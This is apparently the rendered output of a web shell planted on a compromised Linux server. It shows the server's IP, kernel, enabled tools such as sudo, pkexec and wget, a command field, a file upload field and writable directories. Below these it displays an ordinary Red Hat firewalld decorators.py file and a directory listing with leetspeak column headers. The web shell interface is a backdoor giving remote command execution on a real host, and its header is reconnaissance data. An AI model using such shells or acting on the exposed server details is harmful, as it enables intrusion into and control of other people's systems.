p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/firewall/server/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/python2.7/site-packages/firewall/server/decorators.py
# -*- coding: utf-8 -*-
#
# Copyright (C) 2012-2016 Red Hat, Inc.
#
# Authors:
# Thomas Woerner <twoerner@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

"""This module contains decorators for use with and without D-Bus"""

__all__ = ["FirewallDBusException", "handle_exceptions",
           "dbus_handle_exceptions", "dbus_service_method"]

import dbus
import dbus.service
import traceback
from dbus.exceptions import DBusException
from decorator import decorator

from firewall import config
from firewall.errors import FirewallError
from firewall import errors
from firewall.core.logger import log

############################################################################
#
# Exception handler decorators
#
############################################################################

class FirewallDBusException(dbus.DBusException):
    """FirewallDBusException"""
    _dbus_error_name = "%s.Exception" % config.dbus.DBUS_INTERFACE

@decorator
def handle_exceptions(func, *args, **kwargs):
    """Decorator to handle exceptions and log them. Used if not conneced
    to D-Bus.
    """
    try:
        return func(*args, **kwargs)
    except FirewallError as error:
        log.debug1(traceback.format_exc())
        log.error(error)
    except Exception:  # pylint: disable=W0703
        log.debug1(traceback.format_exc())
        log.exception()

@decorator
def dbus_handle_exceptions(func, *args, **kwargs):
    """Decorator to handle exceptions, log and report them into D-Bus

    :Raises DBusException: on a firewall error code problems.
    """
    try:
        return func(*args, **kwargs)
    except FirewallError as error:
        code = FirewallError.get_code(str(error))
        if code in [ errors.ALREADY_ENABLED, errors.NOT_ENABLED,
                     errors.ZONE_ALREADY_SET, errors.ALREADY_SET ]:
            log.warning(str(error))
        else:
            log.debug1(traceback.format_exc())
            log.error(str(error))
        raise FirewallDBusException(str(error))
    except DBusException as ex:
        # only log DBusExceptions once
        raise ex
    except Exception as ex:
        log.debug1(traceback.format_exc())
        log.exception()
        raise FirewallDBusException(str(ex))

def dbus_service_method(*args, **kwargs):
    """Add sender argument for D-Bus"""
    kwargs.setdefault("sender_keyword", "sender")
    return dbus.service.method(*args, **kwargs)
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
0 KB
April 28 2021 13:31:12
0 / 0
0644
__init__.pyc
0.144 KB
April 28 2021 13:31:13
0 / 0
0644
__init__.pyo
0.144 KB
April 28 2021 13:31:13
0 / 0
0644
config.py
60.636 KB
April 28 2021 13:31:12
0 / 0
0644
config.pyc
48.08 KB
April 28 2021 13:31:13
0 / 0
0644
config.pyo
48.08 KB
April 28 2021 13:31:13
0 / 0
0644
config_helper.py
17.135 KB
April 28 2021 13:31:12
0 / 0
0644
config_helper.pyc
15.447 KB
April 28 2021 13:31:13
0 / 0
0644
config_helper.pyo
15.447 KB
April 28 2021 13:31:13
0 / 0
0644
config_icmptype.py
14.581 KB
April 28 2021 13:31:12
0 / 0
0644
config_icmptype.pyc
12.938 KB
April 28 2021 13:31:13
0 / 0
0644
config_icmptype.pyo
12.938 KB
April 28 2021 13:31:13
0 / 0
0644
config_ipset.py
17.985 KB
April 28 2021 13:31:12
0 / 0
0644
config_ipset.pyc
15.889 KB
April 28 2021 13:31:13
0 / 0
0644
config_ipset.pyo
15.889 KB
April 28 2021 13:31:13
0 / 0
0644
config_service.py
26.19 KB
April 28 2021 13:31:12
0 / 0
0644
config_service.pyc
22.858 KB
April 28 2021 13:31:13
0 / 0
0644
config_service.pyo
22.858 KB
April 28 2021 13:31:13
0 / 0
0644
config_zone.py
41.801 KB
April 28 2021 13:31:12
0 / 0
0644
config_zone.pyc
36.549 KB
April 28 2021 13:31:13
0 / 0
0644
config_zone.pyo
36.549 KB
April 28 2021 13:31:13
0 / 0
0644
decorators.py
2.942 KB
April 28 2021 13:31:12
0 / 0
0644
decorators.pyc
2.588 KB
April 28 2021 13:31:13
0 / 0
0644
decorators.pyo
2.588 KB
April 28 2021 13:31:13
0 / 0
0644
firewalld.py
107.226 KB
April 28 2021 13:31:12
0 / 0
0644
firewalld.pyc
85.283 KB
April 28 2021 13:31:13
0 / 0
0644
firewalld.pyo
85.283 KB
April 28 2021 13:31:13
0 / 0
0644
server.py
3.743 KB
April 28 2021 13:31:12
0 / 0
0644
server.pyc
3.02 KB
April 28 2021 13:31:13
0 / 0
0644
server.pyo
3.02 KB
April 28 2021 13:31:13
0 / 0
0644